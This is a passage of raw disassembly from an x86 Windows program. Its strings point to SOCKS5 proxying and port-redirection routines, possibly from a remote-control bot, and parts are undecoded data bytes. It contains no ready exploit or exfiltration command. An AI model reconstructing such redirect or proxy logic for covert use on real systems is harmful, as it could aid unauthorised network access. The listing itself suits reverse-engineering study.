ptr 71AB2B66h mov ecx, [esi+9Dh] mov word ptr [esp+44h+var_2C+2], ax lea eax, [esp+44h+var_2C] push 10h push eax push ecx mov [esp+50h+var_34], 10h nop call near ptr 71AB3E00h test eax, eax jz short loc_42B96B mov edx, [esi+9Dh] push edx nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx mov ecx, [esp+34h+var_C] mov large fs:0, ecx add esp, 34h retn ; --------------------------------------------------------------------------- loc_42B96B: ; CODE XREF: sub_42B880+C9j mov eax, [esi+99h] mov cl, [eax+11Ch] test cl, cl jz loc_42BA64 loc_42B97F: ; CODE XREF: sub_42B880+1DEj mov ecx, [esi+9Dh] push 0Ah push ecx nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jz loc_42BA45 mov ecx, [esi+9Dh] lea edx, [esp+44h+var_34] lea eax, [esp+44h+var_1C] push edx push eax push ecx nop call near ptr 71AC1028h mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_42BA45 xor edi, edi cmp ebp, edi jz loc_42BA45 push 0A9h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+44h+var_30], eax cmp eax, edi mov [esp+44h+var_4], edi jz short loc_42B9E5 mov ecx, eax call sub_401663 mov edi, eax loc_42B9E5: ; CODE XREF: sub_42B880+15Aj mov edx, [esi+99h] mov [edi+9Dh], esi mov [edi+99h], edx mov eax, [esi+3Bh] mov [edi+3Bh], eax mov ecx, [esi+3Fh] mov [edi+3Fh], ecx push ebx lea ecx, [edi+43h] mov [esp+48h+var_4], 0FFFFFFFFh call sub_401FBE lea eax, [esi+26h] lea ecx, [edi+26h] push eax mov [edi+0A1h], ebp call sub_401FBE mov dl, [esi+97h] mov ecx, edi mov [edi+97h], dl mov al, [esi+98h] mov [edi+98h], al call sub_4013D4 loc_42BA45: ; CODE XREF: sub_42B880+111j ; sub_42B880+133j ... push 0FAh nop call near ptr 28302E5h mov ecx, [esi+99h] mov al, [ecx+11Ch] test al, al jnz loc_42B97F loc_42BA64: ; CODE XREF: sub_42B880+F9j mov eax, [esi+9Dh] cmp eax, 0FFFFFFFFh jz short loc_42BA76 push eax nop call near ptr 71AB9639h loc_42BA76: ; CODE XREF: sub_42B880+1EDj mov edx, [esi+3Fh] mov ecx, ebx push edx call sub_4017E4 push eax mov eax, [esi+3Bh] push eax lea ecx, [esi+11h] call sub_4017E4 push eax push offset aSFinishedRed_0 ; "[%s] Finished redirecting from port %d "... lea ecx, [esi+26h] call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 24h loc_42BAB8: ; CODE XREF: sub_42B880+7Cj mov ecx, [esp+44h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 34h retn sub_42B880 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42BB70 proc near ; CODE XREF: sub_4021DFj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42BB70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 10h push 3 push 14h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 mov esi, ecx push 5 lea eax, [esp+74h+var_3C] push 12h push eax mov dword ptr [esi+118h], 0 call sub_4019B5 add esp, 38h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_42BB70 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 12h push 7 push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea edx, [esp+38h] push 12h push edx call sub_4019B5 add esp, 38h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 14h push 14h push 8 push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea ecx, [esp+3Ch] push 12h push ecx call sub_4019B5 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+60h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 0Bh push 3 push 0Fh push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea eax, [esp+40h] push 12h push eax call sub_4019B5 add esp, 40h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+8Eh] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 49h push 13h push 0Bh push 3 push 0Fh push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea edx, [esp+44h] push 12h push edx call sub_4019B5 add esp, 44h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 push eax lea eax, [esi+0BCh] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea ecx, [esp+54h] push 12h push ecx call sub_4019B5 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 5 call sub_4017E4 add esi, 0EAh push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0A0h dup(0CCh) ; --------------------------------------------------------------------------- loc_42BE60: ; CODE XREF: ___:loc_40202Cj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43BD84 push eax mov large fs:0, esp sub esp, 68h push ebx push ebp push esi mov esi, [esp+84h] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+4] call sub_4017E4 push eax mov ecx, edi call sub_4012EE or ebx, 0FFFFFFFFh test eax, eax jnz loc_42BFC7 push 0A1h call sub_4367FA ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h dd 93E8C88Bh, 8BFFFD57h, 360068F8h, 448D0044h, 16A4C24h dd 11C85C6h, 50010000h, 9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h dd 0FFFD57BAh, 84C7C88Bh, 8024h, 100h, 58DEE800h, 9050FFFDh dd 7F000BE8h, 4C48377h, 48244C8Dh, 893B4789h, 80249Ch dd 3E80000h, 68FFFD53h, 443600h, 4C244C8Dh, 8B51026Ah dd 5778E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 6074E800h dd 4C8DFFFDh, 9C894824h, 8024h, 52CCE800h, 68FFFDh, 8D004436h dd 6A4C2454h, 0CE8B5203h, 0FD5741E8h, 0C7C88BFFh, 802484h dd 30000h, 65E80000h, 50FFFD58h, 0FF92E890h, 0C483777Eh dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h, 0FFFD528Ah dd 8D69468Dh, 0E850264Fh, 0FFFD6016h, 938E8Ah, 8F880000h dd 97h, 94968Ah, 0CF8B0000h, 989788h, 0DE80000h db 54h, 0FDh, 0FFh ; --------------------------------------------------------------------------- loc_42BFC7: ; CODE XREF: ___:0042BE9Dj lea ecx, [ebp+32h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42C0F7 push 9Dh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 4 jz short loc_42C00E mov ecx, eax call sub_401889 mov edi, eax jmp short loc_42C010 ; --------------------------------------------------------------------------- loc_42C00E: ; CODE XREF: ___:0042C001j xor edi, edi loc_42C010: ; CODE XREF: ___:0042C00Cj push offset asc_443600 ; " " lea eax, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push eax mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016AE push eax lea ecx, [edi+58h] mov dword ptr [esp+84h], 5 call sub_401FBE lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+4Ch] push 2 push ecx mov ecx, esi call sub_4016AE push eax lea ecx, [edi+6Dh] mov dword ptr [esp+84h], 6 call sub_401FBE lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 push offset asc_443600 ; " " lea edx, [esp+4Ch] push 3 push edx mov ecx, esi call sub_4016AE push eax lea ecx, [edi+82h] mov dword ptr [esp+84h], 7 call sub_401FBE lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 lea eax, [esi+69h] lea ecx, [edi+26h] push eax call sub_401FBE mov cl, [esi+93h] mov [edi+97h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+98h], dl call sub_4013D4 loc_42C0F7: ; CODE XREF: ___:0042BFDAj lea ecx, [ebp+60h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42C220 push 0A2h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 8 jz short loc_42C13E mov ecx, eax call sub_4018DE mov edi, eax jmp short loc_42C140 ; --------------------------------------------------------------------------- loc_42C13E: ; CODE XREF: ___:0042C131j xor edi, edi loc_42C140: ; CODE XREF: ___:0042C13Cj push offset asc_443600 ; " " lea eax, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push eax mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016AE mov ecx, eax mov dword ptr [esp+80h], 9 call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+48h] mov [edi+3Bh], eax mov [esp+80h], ebx call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+4Ch] push 2 push ecx mov ecx, esi call sub_4016AE push offset aTrue ; "true" mov ecx, eax mov dword ptr [esp+84h], 0Ah call sub_401500 test eax, eax lea ecx, [esp+48h] mov [esp+80h], ebx setz byte ptr [esp+88h] call sub_401226 mov al, [esp+88h] test al, al jz short loc_42C1EE mov byte ptr [edi+9Dh], 1 jmp short loc_42C1F5 ; --------------------------------------------------------------------------- loc_42C1EE: ; CODE XREF: ___:0042C1E3j mov byte ptr [edi+9Dh], 0 loc_42C1F5: ; CODE XREF: ___:0042C1ECj lea edx, [esi+69h] lea ecx, [edi+26h] push edx call sub_401FBE mov al, [esi+93h] mov [edi+97h], al mov cl, [esi+94h] mov [edi+98h], cl mov ecx, edi call sub_4013D4 loc_42C220: ; CODE XREF: ___:0042C10Aj lea ecx, [ebp+8Eh] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42C2ED push 0A1h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 0Bh jz short loc_42C26A mov ecx, eax call sub_40216C mov edi, eax jmp short loc_42C26C ; --------------------------------------------------------------------------- loc_42C26A: ; CODE XREF: ___:0042C25Dj xor edi, edi loc_42C26C: ; CODE XREF: ___:0042C268j push offset asc_443600 ; " " lea edx, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push edx mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016AE mov ecx, eax mov dword ptr [esp+80h], 0Ch call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+48h] mov [edi+3Bh], eax mov [esp+80h], ebx call sub_401226 lea eax, [esi+69h] lea ecx, [edi+26h] push eax call sub_401FBE mov cl, [esi+93h] mov [edi+97h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+98h], dl call sub_4013D4 loc_42C2ED: ; CODE XREF: ___:0042C236j lea ecx, [ebp+0BCh] call sub_4014D3 lea edi, [esi+7Eh] push eax mov ecx, edi mov [esp+8Ch], edi call sub_4012EE test eax, eax jnz loc_42C519 lea ecx, [esp+30h] call sub_401424 lea ecx, [esp+18h] mov dword ptr [esp+80h], 0Dh call sub_401424 push offset asc_443600 ; " " lea eax, [esp+4Ch] push 2 push eax mov ecx, esi mov byte ptr [esp+8Ch], 0Eh call sub_4016AE mov ecx, eax mov byte ptr [esp+80h], 0Fh call sub_4017E4 push eax lea ecx, [esp+34h] call sub_401A87 lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+4Ch] push 3 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov byte ptr [esp+80h], 10h call sub_4017E4 push eax lea ecx, [esp+1Ch] call sub_401A87 lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+30h] call sub_4014D3 cmp eax, offset byte_446F70 jnz short loc_42C3CF push offset aRoot ; "root" lea ecx, [esp+1Ch] call sub_401A87 loc_42C3CF: ; CODE XREF: ___:0042C3BFj lea ecx, [esp+18h] call sub_4014D3 cmp eax, offset byte_446F70 jnz short loc_42C3ED push offset byte_446F70 lea ecx, [esp+1Ch] call sub_401A87 loc_42C3ED: ; CODE XREF: ___:0042C3DDj push offset asc_443600 ; " " lea edx, [esp+4Ch] push 1 push edx mov ecx, esi call sub_4016AE mov edi, eax lea ecx, [esp+18h] mov byte ptr [esp+80h], 11h call sub_4017E4 push eax lea ecx, [esp+34h] call sub_4017E4 push eax mov ecx, edi call sub_4017E4 mov edi, dword_50FB08 push eax call edi ; atoi add esp, 4 lea ecx, [esi+69h] push eax push offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "... call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 20h lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+18h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+28h], esp push eax call sub_401861 lea ecx, [esp+48h] mov byte ptr [esp+98h], 12h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+44h], esp push eax call sub_401861 push offset asc_443600 ; " " lea edx, [esp+94h] push 1 push edx mov ecx, esi mov byte ptr [esp+0BCh], 13h call sub_4016AE mov ecx, eax mov byte ptr [esp+0B0h], 15h call sub_4017E4 push eax call edi ; atoi add esp, 4 push eax call sub_401C17 add esp, 34h lea ecx, [esp+60h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+18h] mov byte ptr [esp+80h], 0Dh call sub_401226 lea ecx, [esp+30h] mov [esp+80h], ebx call sub_401226 mov edi, [esp+88h] loc_42C519: ; CODE XREF: ___:0042C30Cj lea ecx, [ebp+0EAh] call sub_4017E4 push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_42C536 mov [ebp+11Ch], al loc_42C536: ; CODE XREF: ___:0042C52Ej mov ecx, [esp+78h] pop edi pop esi pop ebp mov al, 1 mov large fs:0, ecx pop ebx add esp, 74h retn 4 ; --------------------------------------------------------------------------- db 3 dup(90h) db 1C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42C710 proc near ; CODE XREF: sub_4021A8j var_4 = dword ptr -4 push ecx mov edx, dword_447A8D push esi mov esi, ecx mov eax, [esi+99h] mov ecx, [eax+118h] cmp edx, ecx jl short loc_42C731 inc ecx mov [eax+118h], ecx loc_42C731: ; CODE XREF: sub_42C710+18j mov eax, [esi] mov ecx, esi call dword ptr [eax+8] mov eax, [esi+99h] mov [esp+8+var_4], esi mov ecx, [eax+118h] dec ecx mov [eax+118h], ecx lea ecx, [esp+8+var_4] push ecx mov ecx, offset byte_4E6EDB call sub_40120D sub_42C710 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42C790 proc near ; CODE XREF: sub_401E06j var_190 = byte ptr -190h sub esp, 190h lea eax, [esp+190h+var_190] push eax push 101h call sub_436F4E sub_42C790 endp ; --------------------------------------------------------------------------- db 85h, 0C0h, 74h dd 840D8B19h, 500050FAh, 6840C183h, 445414h, 4655E851h dd 83907781h, 0C4810CC4h, 190h, 909090C3h, 90909090h, 4 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42C7E0: ; CODE XREF: ___:00401D7Aj mov eax, [esp+4] test eax, eax jz short loc_42C7F3 mov ecx, [eax+18h] test ecx, ecx jnz short loc_42C7F3 add eax, 44h retn ; --------------------------------------------------------------------------- loc_42C7F3: ; CODE XREF: ___:0042C7E6j ; ___:0042C7EDj xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42C810 proc near ; CODE XREF: sub_401A69j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_12 = word ptr 16h sub esp, 14h mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ebx push ebp mov [esp+1Ch+var_C], eax push esi push edi mov [esp+24h+var_8], eax push ecx mov [esp+28h+var_14], 1 mov [esp+28h+var_4], eax mov word ptr [esp+28h+var_10], 2 nop call near ptr 77C46125h mov ebp, eax push 3Ah push ebp call near ptr 77C47660h nop mov esi, eax xor ebx, ebx add esp, 0Ch cmp esi, ebx jnz short loc_42C884 push offset aTcp ; "tcp" push offset aFtp ; "ftp" call sub_436F96 ; --------------------------------------------------------------------------- dd 6C75C33Bh, 44546868h, 7BE89000h, 837780A5h, 0C03304C4h dd 5B5D5E5Fh, 0C314C483h ; --------------------------------------------------------------------------- loc_42C884: ; CODE XREF: sub_42C810+47j mov [esi], bl mov eax, dword_50FB14 inc esi cmp dword ptr [eax], 1 jle short loc_42C8A2 movsx ecx, byte ptr [esi] push 4 push ecx nop call near ptr 77C1C561h add esp, 8 jmp short loc_42C8B2 ; --------------------------------------------------------------------------- loc_42C8A2: ; CODE XREF: sub_42C810+7Fj mov eax, dword_50FA78 movsx edx, byte ptr [esi] mov ecx, [eax] mov al, [ecx+edx*2] and eax, 4 loc_42C8B2: ; CODE XREF: sub_42C810+90j cmp eax, ebx jz short loc_42C8CD push esi nop call near ptr 77C1BF18h add esp, 4 push eax call sub_436F36 ; --------------------------------------------------------------------------- mov [esp+arg_12], ax jmp short sub_42C8E1 ; --------------------------------------------------------------------------- loc_42C8CD: ; CODE XREF: sub_42C810+A4j push offset aTcp ; "tcp" push esi call sub_436F96 sub_42C810 endp ; --------------------------------------------------------------------------- mov dx, [eax+8] mov [esp+16h], dx ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42C8E1 proc near ; CODE XREF: sub_42C810+BBj push ebp call sub_436EF4 sub_42C8E1 endp ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh mov [esp+18h], eax jnz short loc_42C92D push ebp call sub_436EE8 ; --------------------------------------------------------------------------- dw 0C33Bh dd 58681875h, 90004454h, 80A4EDE8h, 4C48377h, 5E5FC033h dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch dd 2E9C130h, 0CA8BA5F3h, 0F303E183h ; --------------------------------------------------------------------------- movsb loc_42C92D: ; CODE XREF: ___:0042C8EEj push ebp mov ebp, dword_50FAC4 call ebp ; free add esp, 4 push 6 push 1 push 2 call sub_436F3C ; --------------------------------------------------------------------------- dd 0FF83F88Bh, 681875FFh, 445450h, 0A49CE890h, 0C4837780h dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h dd 0FFFF68h, 0DE85700h, 830000A6h, 775FFF8h, 44544068h dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B2h, 75FFF883h dd 52406807h, 1BEB0044h, 14468h, 0E8016A00h, 777FF71Bh dd 83F08B90h, 0F33B08C4h, 38681E75h, 0E8004454h, 7780A436h dd 4C48390h, 0A540E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h dd 200068h, 0FA2DE800h, 8390777Fh, 0C33B04C4h, 75144689h dd 54386824h, 0E8900044h, 7780A402h, 5704C483h, 0A50DE8h dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh, 326A56C3h dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h dd 75C08508h, 0C3E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch dd 1B85D5Eh, 5B000000h, 0C314C483h, 90909090h, 28h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_42CB10 proc near ; CODE XREF: sub_42DFD0+70p var_8 = byte ptr -8 var_5 = byte ptr -5 var_4 = byte ptr -4 arg_0 = byte ptr 4 arg_4 = dword ptr 8 sub esp, 8 push ebx push ebp push esi push edi mov edi, [esp+18h+arg_4] push edi push 100h lea esi, [edi+44h] push esi call sub_42CC50 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_42CB4A loc_42CB32: ; CODE XREF: sub_42CB10+8Ej ; sub_42CB10+D9j push offset aControlSocketR ; "Control socket read failed" nop call near ptr 77C36DF2h add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CB4A: ; CODE XREF: sub_42CB10+20j mov eax, dword_50E3DC mov ebx, dword_50FA80 cmp eax, 1 jle short loc_42CB6E mov eax, dword_50FA84 push esi add eax, 40h push offset aS ; "%s" push eax call ebx ; fprintf add esp, 0Ch loc_42CB6E: ; CODE XREF: sub_42CB10+48j cmp byte ptr [edi+47h], 2Dh jnz short loc_42CBEE push 3 lea ecx, [esp+1Ch+var_8] push esi push ecx nop call near ptr 77C47A90h push edi push 100h push esi mov [esp+30h+var_5], 20h mov [esp+30h+var_4], 0 call sub_42CC50 add esp, 18h cmp eax, 0FFFFFFFFh jz short loc_42CB32 mov ebp, dword_50FAD4 loc_42CBA6: ; CODE XREF: sub_42CB10+D7j cmp dword_50E3DC, 1 jle short loc_42CBC4 mov edx, dword_50FA84 push esi add edx, 40h push offset aS ; "%s" push edx call ebx ; fprintf add esp, 0Ch loc_42CBC4: ; CODE XREF: sub_42CB10+9Dj lea eax, [esp+18h+var_8] push 4 push eax push esi call ebp ; strncmp add esp, 0Ch test eax, eax jz short loc_42CBEE push edi push 100h push esi call sub_42CC50 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_42CBA6 jmp loc_42CB32 ; --------------------------------------------------------------------------- loc_42CBEE: ; CODE XREF: sub_42CB10+62j ; sub_42CB10+C3j mov cl, [esi] mov dl, [esp+18h+arg_0] xor eax, eax pop edi cmp cl, dl pop esi pop ebp pop ebx setz al add esp, 8 retn sub_42CB10 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42CC50 proc near ; CODE XREF: sub_42CB10+15p ; sub_42CB10+83p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 8 push ebx push ebp mov ebp, [esp+10h+arg_0] push esi mov esi, [esp+14h+arg_8] xor ecx, ecx push edi mov [esp+18h+var_8], ecx mov eax, [esi+18h] mov [esp+18h+var_4], ecx cmp eax, ecx jz short loc_42CC80 cmp eax, 1 jz short loc_42CC80 pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CC80: ; CODE XREF: sub_42CC50+1Ej ; sub_42CC50+23j mov ebx, [esp+18h+arg_4] cmp ebx, ecx jnz short loc_42CC92 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CC92: ; CODE XREF: sub_42CC50+36j ; sub_42CC50+115j mov edi, [esi+0Ch] test edi, edi jle short loc_42CCE3 cmp ebx, edi jge short loc_42CCA0 lea edi, [ebx-1] loc_42CCA0: ; CODE XREF: sub_42CC50+4Bj mov eax, [esi+4] push edi push 0Ah push eax push ebp nop call near ptr 77C46170h add esp, 10h test eax, eax jz short loc_42CCB9 mov edi, eax sub edi, ebp loc_42CCB9: ; CODE XREF: sub_42CC50+63j mov edx, [esp+18h+var_8] add ebp, edi add edx, edi sub ebx, edi mov [esp+18h+var_8], edx mov byte ptr [ebp+0], 0 mov ecx, [esi+4] mov edx, [esi+0Ch] add ecx, edi sub edx, edi test eax, eax mov [esi+4], ecx mov [esi+0Ch], edx jnz loc_42CD6A loc_42CCE3: ; CODE XREF: sub_42CC50+47j cmp ebx, 1 jz loc_42CDBD mov ecx, [esi] mov eax, [esi+4] cmp ecx, eax jnz short loc_42CD0B mov eax, [esi+14h] mov dword ptr [esi+0Ch], 0 mov [esi+4], eax mov [esi], eax mov dword ptr [esi+10h], 2000h loc_42CD0B: ; CODE XREF: sub_42CC50+A3j mov eax, [esp+18h+var_4] test eax, eax jnz loc_42CDD0 push esi call sub_42CE80 add esp, 4 test eax, eax jz loc_42CE02 mov edx, [esi+10h] mov eax, [esi] mov ecx, [esi+8] push 0 push edx push eax push ecx call sub_436EFA ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh jz loc_42CDEC test eax, eax jnz short loc_42CD4F mov [esp+18h+var_4], 1 loc_42CD4F: ; CODE XREF: sub_42CC50+F5j mov edi, [esi+10h] mov edx, [esi+0Ch] mov ecx, [esi] sub edi, eax add edx, eax add ecx, eax mov [esi+10h], edi mov [esi+0Ch], edx mov [esi], ecx jmp loc_42CC92 ; --------------------------------------------------------------------------- loc_42CD6A: ; CODE XREF: sub_42CC50+8Dj sub ebp, 2 mov esi, offset asc_445230 ; "\r\n" mov eax, ebp loc_42CD74: ; CODE XREF: sub_42CC50+146j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_42CD9C test cl, cl jz short loc_42CD98 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_42CD9C add eax, 2 add esi, 2 test cl, cl jnz short loc_42CD74 loc_42CD98: ; CODE XREF: sub_42CC50+130j xor eax, eax jmp short loc_42CDA1 ; --------------------------------------------------------------------------- loc_42CD9C: ; CODE XREF: sub_42CC50+12Cj ; sub_42CC50+13Cj sbb eax, eax sbb eax, 0FFFFFFFFh loc_42CDA1: ; CODE XREF: sub_42CC50+14Aj test eax, eax jnz short loc_42CE02 mov byte ptr [ebp+0], 0Ah mov [ebp+1], al mov eax, [esp+18h+var_8] pop edi dec eax pop esi pop ebp mov [esp+0Ch+var_8], eax pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CDBD: ; CODE XREF: sub_42CC50+96j mov eax, [esp+18h+arg_0] pop edi pop esi pop ebp mov byte ptr [eax], 0 mov eax, [esp+0Ch+var_8] pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CDD0: ; CODE XREF: sub_42CC50+C1j mov eax, [esp+18h+var_8] test eax, eax jnz short loc_42CE02 pop edi mov [esp+14h+var_8], 0FFFFFFFFh mov eax, [esp+14h+var_8] pop esi pop ebp pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CDEC: ; CODE XREF: sub_42CC50+EDj push offset aRead ; "read" call near ptr 77C36DF2h nop add esp, 4 mov [esp+18h+var_8], 0FFFFFFFFh loc_42CE02: ; CODE XREF: sub_42CC50+D2j ; sub_42CC50+153j ... mov eax, [esp+18h+var_8] pop edi pop esi pop ebp pop ebx add esp, 8 retn sub_42CC50 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42CE80 proc near ; CODE XREF: sub_42CC50+C8p ; sub_42DC70:loc_42DC9Dp ... var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 sub esp, 10Ch push ebx push ebp push esi mov esi, [esp+118h+arg_0] xor ebx, ebx xor ebp, ebp mov eax, [esi+18h] test eax, eax jz loc_42CF63 mov ecx, [esi+30h] test ecx, ecx jz loc_42CF63 cmp eax, 2 jnz short loc_42CEB5 lea ebp, [esp+118h+var_104] jmp short loc_42CEB9 ; --------------------------------------------------------------------------- loc_42CEB5: ; CODE XREF: sub_42CE80+2Dj lea ebx, [esp+118h+var_104] loc_42CEB9: ; CODE XREF: sub_42CE80+33j xor eax, eax push edi mov [esp+11Ch+var_104], eax loc_42CEC0: ; CODE XREF: sub_42CE80+98j cmp eax, 40h jnb short loc_42CED5 mov ecx, [esi+8] mov [esp+eax*4+11Ch+var_100], ecx mov eax, [esp+11Ch+var_104] inc eax mov [esp+11Ch+var_104], eax loc_42CED5: ; CODE XREF: sub_42CE80+43j mov edx, [esi+28h] mov eax, [esi+2Ch] lea ecx, [esp+11Ch+var_10C] mov [esp+11Ch+var_10C], edx mov edx, [esi+8] push ecx push 0 push ebp inc edx push ebx push edx mov [esp+130h+var_108], eax call sub_436F12 ; 